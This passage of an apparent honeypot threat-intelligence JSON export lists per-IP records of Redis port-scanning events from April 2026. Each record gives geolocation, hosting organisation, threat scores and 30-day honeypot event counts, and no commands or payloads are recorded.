        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "18.97.5.28": {
      "attack_count": 9,
      "first_seen": "2026-04-05T02:05:18.000Z",
      "last_seen": "2026-04-05T02:06:25.191Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T02:05:18+00:00",
        "last_seen_30d": "2026-04-07T14:36:25.250000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 9,
        "Redishoneypot": 3
      }
    },
    "185.213.175.72": {
      "attack_count": 9,
      "first_seen": "2026-04-25T14:14:57.000Z",
      "last_seen": "2026-04-25T14:16:06.846Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 41608,
      "as_org": "NextGenWebs, S.L.",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 4,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-22T17:54:05.756000+00:00",
        "last_seen_30d": "2026-04-25T14:16:07.867000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 17,
        "Dionaea": 2,
        "Redishoneypot": 2
      }
    },
    "198.235.24.41": {
      "attack_count": 9,
      "first_seen": "2026-04-07T20:40:36.000Z",
      "last_seen": "2026-04-07T20:42:12.452Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 29,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T20:53:22+00:00",
        "last_seen_30d": "2026-04-29T07:43:10.338000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 30,
        "ConPot": 19,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "34.14.112.157": {
      "attack_count": 9,
      "first_seen": "2026-04-29T14:35:47.000Z",
      "last_seen": "2026-04-29T14:37:00.984Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:35:48+00:00",
        "last_seen_30d": "2026-04-29T14:37:00.984000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "39.108.96.168": {
      "attack_count": 9,
      "first_seen": "2026-04-02T06:35:57.000Z",
      "last_seen": "2026-04-02T06:37:00.442Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:35:57+00:00",
        "last_seen_30d": "2026-04-02T06:37:00.442000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "52.165.223.243": {
      "attack_count": 9,
      "first_seen": "2026-04-26T08:54:45.000Z",
      "last_seen": "2026-04-26T08:55:53.732Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T08:54:46+00:00",
        "last_seen_30d": "2026-04-26T08:55:53.732000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "52.177.119.222": {
      "attack_count": 9,
      "first_seen": "2026-04-15T17:43:43.000Z",
      "last_seen": "2026-04-15T17:44:52.329Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T17:43:43+00:00",
        "last_seen_30d": "2026-04-15T17:44:52.329000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "52.185.212.58": {
      "attack_count": 9,
      "first_seen": "2026-04-18T00:08:09.000Z",
      "last_seen": "2026-04-18T00:09:18.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T00:08:09+00:00",
        "last_seen_30d": "2026-04-18T00:09:18.268000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "85.217.149.68": {
      "attack_count": 9,
      "first_seen": "2026-04-27T03:01:33.000Z",
      "last_seen": "2026-04-27T03:02:37.046Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 96.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 30,
        "ports_targeted_30d": 225,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T11:13:12.102000+00:00",
        "last_seen_30d": "2026-04-30T23:39:06.618000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 259,
        "Honeytrap": 183,
        "ConPot": 3,
        "Redishoneypot": 3,
        "Dionaea": 2,
        "Mailoney": 1
      }
    },
    "213.170.86.253": {
      "attack_count": 8,
      "first_seen": "2026-04-26T10:55:41.000Z",
      "last_seen": "2026-04-26T10:56:44.722Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12418,
      "as_org": "Quantum CJSC",
      "threat_score": 47.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-26T10:55:41+00:00",
        "last_seen_30d": "2026-04-26T10:56:51.653000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Redishoneypot": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "119.45.38.38": {
      "attack_count": 6,
      "first_seen": "2026-04-20T10:22:26.000Z",
      "last_seen": "2026-04-20T10:23:33.510Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-20T10:23:33.510000+00:00",
        "last_seen_30d": "2026-04-20T10:23:33.510000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "157.230.95.152": {
      "attack_count": 6,
      "first_seen": "2026-04-15T03:04:06.000Z",
      "last_seen": "2026-04-15T03:05:45.189Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-14T12:51:22.512000+00:00",
        "last_seen_30d": "2026-04-15T05:31:33.009000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "193.163.125.37": {
      "attack_count": 6,
      "first_seen": "2026-04-07T03:29:37.000Z",
      "last_seen": "2026-04-07T03:30:44.867Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 30,
        "ports_targeted_30d": 124,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T03:43:51.282000+00:00",
        "last_seen_30d": "2026-04-30T19:05:44.152000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 128
      }
    },
    "223.72.120.26": {
      "attack_count": 6,
      "first_seen": "2026-04-27T22:09:28.000Z",
      "last_seen": "2026-04-27T22:11:10.266Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 56048,
      "as_org": "China Mobile Communicaitons Corporation",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T22:11:10.266000+00:00",
        "last_seen_30d": "2026-04-27T22:11:10.266000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "109.105.210.68": {
      "attack_count": 5,
      "first_seen": "2026-04-26T23:58:32.000Z",
      "last_seen": "2026-04-26T23:59:42.517Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 27,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:24:48+00:00",
        "last_seen_30d": "2026-04-28T11:22:19.553000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 21
      }
    },
    "143.42.164.204": {
      "attack_count": 5,
      "first_seen": "2026-04-21T12:39:40.000Z",
      "last_seen": "2026-04-21T12:40:42.565Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 30,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:07:15.761000+00:00",
        "last_seen_30d": "2026-04-30T19:03:02.936000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 180
      }
    },
    "173.255.223.103": {
      "attack_count": 5,
      "first_seen": "2026-04-09T12:41:39.000Z",
      "last_seen": "2026-04-09T12:42:42.276Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 71.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 29,
        "ports_targeted_30d": 168,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T06:01:37.505000+00:00",
        "last_seen_30d": "2026-04-30T20:03:14.999000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185
      }
    },
    "18.190.15.50": {
      "attack_count": 5,
      "first_seen": "2026-04-13T02:02:20.000Z",
      "last_seen": "2026-04-13T02:03:28.050Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 346,
        "days_active_30d": 30,
        "ports_targeted_30d": 162,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:09:24.899000+00:00",
        "last_seen_30d": "2026-04-30T16:46:39.085000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 346
      }
    },
    "184.105.139.82": {
      "attack_count": 5,
      "first_seen": "2026-04-25T14:33:32.000Z",
      "last_seen": "2026-04-25T14:34:39.591Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 23.3,
        "diversity": 18,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 28,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T13:50:22.848000+00:00",
        "last_seen_30d": "2026-04-28T14:58:56.102000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9
      }
    },
    "193.163.125.32": {
      "attack_count": 5,
      "first_seen": "2026-04-16T03:33:53.000Z",
      "last_seen": "2026-04-16T03:35:01.091Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 30,
        "ports_targeted_30d": 130,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T04:39:40.479000+00:00",
        "last_seen_30d": "2026-04-30T21:18:24.040000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134
      }
    },
    "199.45.154.189": {
      "attack_count": 5,
      "first_seen": "2026-04-27T02:41:21.000Z",
      "last_seen": "2026-04-27T02:42:26.715Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:36:39.309000+00:00",
        "last_seen_30d": "2026-04-30T05:22:21.882000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96
      }
    },
    "20.87.195.148": {
      "attack_count": 5,
      "first_seen": "2026-04-12T15:59:51.000Z",
      "last_seen": "2026-04-12T16:00:55.728Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T16:00:55.728000+00:00",
        "last_seen_30d": "2026-04-12T16:00:55.728000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "34.228.104.231": {
      "attack_count": 5,
      "first_seen": "2026-04-08T02:04:05.000Z",
      "last_seen": "2026-04-08T02:05:06.725Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 75.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 30,
        "ports_targeted_30d": 175,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:22:15.302000+00:00",
        "last_seen_30d": "2026-04-30T16:30:47.534000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 371
      }
    },
    "45.33.105.182": {
      "attack_count": 5,
      "first_seen": "2026-04-29T12:36:51.000Z",
      "last_seen": "2026-04-29T12:37:59.132Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 30,
        "ports_targeted_30d": 158,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T11:01:54.215000+00:00",
        "last_seen_30d": "2026-04-30T14:56:30.852000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 167
      }
    },
    "45.79.109.193": {
      "attack_count": 5,
      "first_seen": "2026-04-23T12:36:00.000Z",
      "last_seen": "2026-04-23T12:37:02.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 30,
        "ports_targeted_30d": 182,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:06:12.891000+00:00",
        "last_seen_30d": "2026-04-30T14:58:14.340000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196
      }
    },
    "65.49.1.185": {
      "attack_count": 5,
      "first_seen": "2026-04-07T05:07:27.000Z",
      "last_seen": "2026-04-07T05:08:31.325Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 27,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:49:30.405000+00:00",
        "last_seen_30d": "2026-04-29T15:16:50.874000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 6
      }
    },
    "65.49.1.19": {
      "attack_count": 5,
      "first_seen": "2026-04-06T12:44:40.000Z",
      "last_seen": "2026-04-06T12:45:43.121Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 29,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T03:29:24.341000+00:00",
        "last_seen_30d": "2026-04-29T13:27:44.314000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 4
      }
    },
    "80.94.92.12": {
      "attack_count": 5,
      "first_seen": "2026-04-09T16:09:41.000Z",
      "last_seen": "2026-04-09T16:10:43.376Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1030,
        "days_active_30d": 2,
        "ports_targeted_30d": 1009,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T16:02:11.734000+00:00",
        "last_seen_30d": "2026-04-10T00:06:35.851000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1029,
        "ConPot": 1
      }
    },
    "95.211.47.55": {
      "attack_count": 5,
      "first_seen": "2026-04-07T03:48:39.000Z",
      "last_seen": "2026-04-07T03:49:40.434Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T03:49:40.434000+00:00",
        "last_seen_30d": "2026-04-07T06:42:34.647000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "184.105.247.244": {
      "attack_count": 4,
      "first_seen": "2026-04-24T12:12:00.000Z",
      "last_seen": "2026-04-24T12:13:00.681Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 66.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:16:13.986000+00:00",
        "last_seen_30d": "2026-04-30T09:22:56.416000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47
      }
    },
    "185.156.73.181": {
      "attack_count": 4,
      "first_seen": "2026-04-26T23:49:48.000Z",
      "last_seen": "2026-04-26T23:50:50.958Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 72.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 30,
        "ports_targeted_30d": 180,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T08:58:09.461000+00:00",
        "last_seen_30d": "2026-04-30T20:27:39.181000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 190
      }
    },
    "216.218.206.114": {
      "attack_count": 4,
      "first_seen": "2026-04-01T00:12:03.000Z",
      "last_seen": "2026-04-01T00:13:12.085Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
